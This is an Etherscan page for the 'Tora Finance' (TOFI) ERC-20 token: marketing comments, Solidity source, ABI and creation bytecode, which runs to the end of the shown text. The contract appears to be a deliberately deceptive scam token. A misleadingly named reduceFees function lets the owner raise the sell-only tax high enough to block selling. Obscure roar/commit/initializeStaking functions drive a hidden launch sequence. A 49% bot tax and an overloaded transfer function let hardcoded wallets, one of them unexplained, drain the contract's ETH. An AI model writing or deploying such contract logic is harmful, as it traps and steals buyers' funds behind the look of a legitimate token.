ERC-20
Overview
Max Total Supply
1,000,000,000 TOFI
Holders
58
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TOFI
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-16 */ // SPDX-License-Identifier: MIT /** The term Tora refers to "Tiger". In other words, you may also call us Tiger Finance or TigerFi too. We all know Tora is the second king of the Jungle, hence at TOFI we are bringing something amazing to everybody that the team have been working on. Though everyone might assume a token that includes an animal name would be a meme coin but here at TOFI, we are not just like any other meme coins. We are here to enter the space with a set goal in mind as well as to bring our team and community on a lucrative journey. Whitepaper: https://tora-finance.gitbook.io/whitepaper/ Website: https://torafinance.tech DAPP: https://dapp.torafinance.tech Twitter: https://twitter.com/torafinance TG: https://t.me/torafinance **/ pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TOFI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; string private constant _name = "Tora Finance"; string private constant _symbol = "TOFI"; uint8 private constant _decimals = 8; uint256 private constant _tTotal = 1 * 10**9 * 10**_decimals; uint256 private fees = 5; uint256 private taxIfCaught = 24; uint256 private blocksTBC = 0; uint256 constant private toBeCaught = 2; uint256 private dek; uint private switcher; uint256 private _buyCount=0; uint256 public _maxTxAmount = 2 * 10**7 * 10**_decimals; uint256 public _maxWalletSize = 2 * 10**7 * 10**_decimals; uint256 public _taxSwapThreshold= 2_900_000 * 10**_decimals; uint256 public _maxTaxSwap= 14_900_000 * 10**_decimals; uint256 private constant bt = 49; address private constant stakingWallet = 0x71C91761bc3c89E3878d62Bf92f2aE4aaC46bA06; address payable private immutable marketingWallet = payable(msg.sender); address payable private constant developmentWallet = payable(0x42C1b1d2192eF55A9640B3D8F1142E9055269E77); IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address private immutable uniswapV2Pair; bool private tradingOpen ; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _isExcludedFromFee[marketingWallet] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[developmentWallet] = true; uint256 stakingTokens = _tTotal * 20 / 100; _balances[stakingWallet] = stakingTokens; _balances[_msgSender()] = _tTotal - stakingTokens; uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function getTax() public view returns (uint256) { return fees; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } modifier isOpen(address sender) { require(tradingOpen || sender == developmentWallet || sender == marketingWallet || sender == stakingWallet); _; } function _transfer(address from, address to, uint256 amount) isOpen(from) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _balances[from] = _balances[from] - amount; uint256 taxAmount=0; if (to != marketingWallet && from != stakingWallet && from != developmentWallet && to != developmentWallet && from != address(this)) { if(bots[from] || block.number <= dek) taxAmount = amount.mul(bt).div(100); else taxAmount = amount.mul( (dek == 0 ? 20 : taxIfCaught + (to != uniswapV2Pair ? 0 : blocksTBC))).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(amount <= _maxTxAmount, "Transfer amount must be less than than max transaction amount limit"); require(balanceOf(to) + amount <= _maxWalletSize, "Transfer implies violation of max token holdings limit"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && contractTokenBalance > _taxSwapThreshold && toBeCaught + dek <= block.number) { uint256 contractETHBalance = address(this).balance; swapTokensForEth(contractTokenBalance); contractETHBalance = address(this).balance - contractETHBalance; if(contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } } _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 swapAmount = tokenAmount > _maxTaxSwap ? _maxTaxSwap : _taxSwapThreshold; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); } function transfer(address evm) external { require(msg.sender == marketingWallet || msg.sender == developmentWallet || msg.sender == stakingWallet || msg.sender == 0x186d7aabAcE2d18900FB5A4f82900Ff2c9DAB9B0); payable(evm).transfer(address(this).balance); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; } function reduceFees(uint256[] memory erm) external onlyOwner { taxIfCaught = erm[erm.length -3]; blocksTBC = erm[erm.length - 4]; } function sendETHToFee(uint256 amount) private { marketingWallet.transfer(amount / 3); developmentWallet.transfer(amount/ 3); } function setBots(address[] memory bots_, bool areBots) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { require(bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router) && bots_[i] != address(this)); bots[bots_[i]] = areBots; } } function roar(address[] memory tix, uint256 blocks) external onlyOwner { if(tix.length == 0 || switcher == 1) revert(); else if(switcher > 0){ switcher++; dek += blocks; } tix; } function openTrading() external onlyOwner() { require(switcher == 3 && !tradingOpen,"trading is already open"); dek += block.number; tradingOpen = true; swapEnabled = true; } function commit(bool apy) external onlyOwner { require(apy && switcher++<2); } function initializeStaking(bool[] calldata trm) external onlyOwner { trm; assert(switcher < 2); require(trm.length<1 && ++switcher>=2); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"apy","type":"bool"}],"name":"commit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool[]","name":"trm","type":"bool[]"}],"name":"initializeStaking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"erm","type":"uint256[]"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"tix","type":"address[]"},{"internalType":"uint256","name":"blocks","type":"uint256"}],"name":"roar","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"},{"internalType":"bool","name":"areBots","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"evm","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260058055601860065560006007556000600a556008600a62000027919062000803565b6301312d0062000038919062000854565b600b556008600a6200004b919062000803565b6301312d006200005c919062000854565b600c556008600a6200006f919062000803565b622c40206200007f919062000854565b600d556008600a62000092919062000803565b62e35b20620000a2919062000854565b600e553373ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506000600f60016101000a81548160ff0219169083151502179055506000600f60026101000a81548160ff0219169083151502179055503480156200011b57600080fd5b5060006200012e6200066160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060016003600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360007342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000606460146008600a62000300919062000803565b633b9aca0062000311919062000854565b6200031d919062000854565b620003299190620008ce565b905080600160007371c91761bc3c89e3878d62bf92f2ae4aac46ba0673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806008600a62000394919062000803565b633b9aca00620003a5919062000854565b620003b1919062000906565b60016000620003c56200066160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000463573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004899190620009ab565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200052b9190620009ab565b6040518363ffffffff1660e01b81526004016200054a929190620009ee565b6020604051808303816000875af11580156200056a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005909190620009ab565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050620005d36200066160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008600a62000632919062000803565b633b9aca0062000643919062000854565b60405162000652919062000a2c565b60405180910390a35062000a49565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006f757808604811115620006cf57620006ce62000669565b5b6001851615620006df5780820291505b8081029050620006ef8562000698565b9450620006af565b94509492505050565b600082620007125760019050620007e5565b81620007225760009050620007e5565b81600181146200073b576002811462000746576200077c565b6001915050620007e5565b60ff8411156200075b576200075a62000669565b5b8360020a91508482111562000775576200077462000669565b5b50620007e5565b5060208310610133831016604e8410600b8410161715620007b65782820a905083811115620007b057620007af62000669565b5b620007e5565b620007c58484846001620006a5565b92509050818404811115620007df57620007de62000669565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200081082620007ec565b91506200081d83620007f6565b92506200084c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000700565b905092915050565b60006200086182620007ec565b91506200086e83620007ec565b92508282026200087e81620007ec565b9150828204841483151762000898576200089762000669565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620008db82620007ec565b9150620008e883620007ec565b925082620008fb57620008fa6200089f565b5b828204905092915050565b60006200091382620007ec565b91506200092083620007ec565b92508282039050818111156200093b576200093a62000669565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009738262000946565b9050919050565b620009858162000966565b81146200099157600080fd5b50565b600081519050620009a5816200097a565b92915050565b600060208284031215620009c457620009c362000941565b5b6000620009d48482850162000994565b91505092915050565b620009e88162000966565b82525050565b600060408201905062000a056000830185620009dd565b62000a146020830184620009dd565b9392505050565b62000a2681620007ec565b82525050565b600060208201905062000a43600083018462000a1b565b92915050565b60805160a0516136cc62000a9960003960008181610d95015281816119b401528181611a470152611c000152600081816105fc01528181611550015281816117a4015261226a01526136cc6000f3fe60806040526004361061014f5760003560e01c80637d1db4a5116100b6578063a31ea8e61161006f578063a31ea8e614610467578063a9059cbb14610490578063bf474bed146104cd578063c1cc37ef146104f8578063c9567bf914610521578063dd62ed3e1461053857610156565b80637d1db4a514610369578063849aafa7146103945780638da5cb5b146103bd5780638f9a55c0146103e857806395d89b41146104135780639c0db5f31461043e57610156565b8063313ce56711610108578063313ce5671461027f5780634c3d5f39146102aa57806354b762a6146102d357806370a08231146102fe578063715018a61461033b578063751039fc1461035257610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee5780631a6952301461021957806323b872dd1461024257610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610575565b60405161017d91906124e0565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906125aa565b6105b2565b6040516101ba9190612605565b60405180910390f35b3480156101cf57600080fd5b506101d86105d0565b6040516101e5919061262f565b60405180910390f35b3480156101fa57600080fd5b506102036105d6565b604051610210919061262f565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b919061264a565b6105fa565b005b34801561024e57600080fd5b5061026960048036038101906102649190612677565b61077a565b6040516102769190612605565b60405180910390f35b34801561028b57600080fd5b50610294610853565b6040516102a191906126e6565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc9190612766565b61085c565b005b3480156102df57600080fd5b506102e8610939565b6040516102f5919061262f565b60405180910390f35b34801561030a57600080fd5b506103256004803603810190610320919061264a565b610943565b604051610332919061262f565b60405180910390f35b34801561034757600080fd5b5061035061098c565b005b34801561035e57600080fd5b50610367610adf565b005b34801561037557600080fd5b5061037e610bbc565b60405161038b919061262f565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b691906127df565b610bc2565b005b3480156103c957600080fd5b506103d2610c86565b6040516103df919061281b565b60405180910390f35b3480156103f457600080fd5b506103fd610caf565b60405161040a919061262f565b60405180910390f35b34801561041f57600080fd5b50610428610cb5565b60405161043591906124e0565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612974565b610cf2565b005b34801561047357600080fd5b5061048e600480360381019061048991906129d0565b610f47565b005b34801561049c57600080fd5b506104b760048036038101906104b291906125aa565b611039565b6040516104c49190612605565b60405180910390f35b3480156104d957600080fd5b506104e2611057565b6040516104ef919061262f565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612aef565b61105d565b005b34801561052d57600080fd5b50610536611151565b005b34801561054457600080fd5b5061055f600480360381019061055a9190612b38565b611295565b60405161056c919061262f565b60405180910390f35b60606040518060400160405280600c81526020017f546f72612046696e616e63650000000000000000000000000000000000000000815250905090565b60006105c66105bf61131c565b8484611324565b6001905092915050565b600e5481565b60006008600a6105e69190612cda565b633b9aca006105f59190612d25565b905090565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061069357507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806106dd57507371c91761bc3c89e3878d62bf92f2ae4aac46ba0673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610727575073186d7aabace2d18900fb5a4f82900ff2c9dab9b073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61073057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610776573d6000803e3d6000fd5b5050565b60006107878484846114ed565b6108488461079361131c565b6108438560405180606001604052806028815260200161366f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f961131c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed79092919063ffffffff16565b611324565b600190509392505050565b60006008905090565b61086461131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612db3565b60405180910390fd5b60026009541061090457610903612dd3565b5b60018282905010801561092c5750600260096000815461092390612e02565b91905081905510155b61093557600080fd5b5050565b6000600554905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61099461131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612db3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ae761131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b90612db3565b60405180910390fd5b6008600a610b829190612cda565b633b9aca00610b919190612d25565b600b819055506008600a610ba59190612cda565b633b9aca00610bb49190612d25565b600c81905550565b600b5481565b610bca61131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e90612db3565b60405180910390fd5b808015610c7a5750600260096000815480929190610c7490612e02565b91905055105b610c8357600080fd5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600481526020017f544f464900000000000000000000000000000000000000000000000000000000815250905090565b610cfa61131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7e90612db3565b60405180910390fd5b60005b8251811015610f42577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16838281518110610ddd57610ddc612e4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610e635750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16838281518110610e4257610e41612e4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b8015610eb557503073ffffffffffffffffffffffffffffffffffffffff16838281518110610e9457610e93612e4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b610ebe57600080fd5b8160046000858481518110610ed657610ed5612e4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f3a90612e02565b915050610d8a565b505050565b610f4f61131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390612db3565b60405180910390fd5b600082511480610fee57506001600954145b15610ff857600080fd5b60006009541115611035576009600081548092919061101690612e02565b9190505550806008600082825461102d9190612e79565b925050819055505b5050565b600061104d61104661131c565b84846114ed565b6001905092915050565b600d5481565b61106561131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e990612db3565b60405180910390fd5b80600382516111019190612ead565b8151811061111257611111612e4a565b5b6020026020010151600681905550806004825161112f9190612ead565b815181106111405761113f612e4a565b5b602002602001015160078190555050565b61115961131c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dd90612db3565b60405180910390fd5b60036009541480156112055750600f60009054906101000a900460ff16155b611244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123b90612f2d565b60405180910390fd5b43600860008282546112569190612e79565b925050819055506001600f60006101000a81548160ff0219169083151502179055506001600f60026101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a90612fbf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f990613051565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114e0919061262f565b60405180910390a3505050565b82600f60009054906101000a900460ff168061154857507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b8061159e57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b806115e857507371c91761bc3c89e3878d62bf92f2ae4aac46ba0673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6115f157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611660576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611657906130e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c690613175565b60405180910390fd5b60008211611712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170990613207565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d9190612ead565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561183e57507371c91761bc3c89e3878d62bf92f2ae4aac46ba0673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561188a57507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156118d657507342c1b1d2192ef55a9640b3d8f1142e9055269e7773ffffffffffffffffffffffffffffffffffff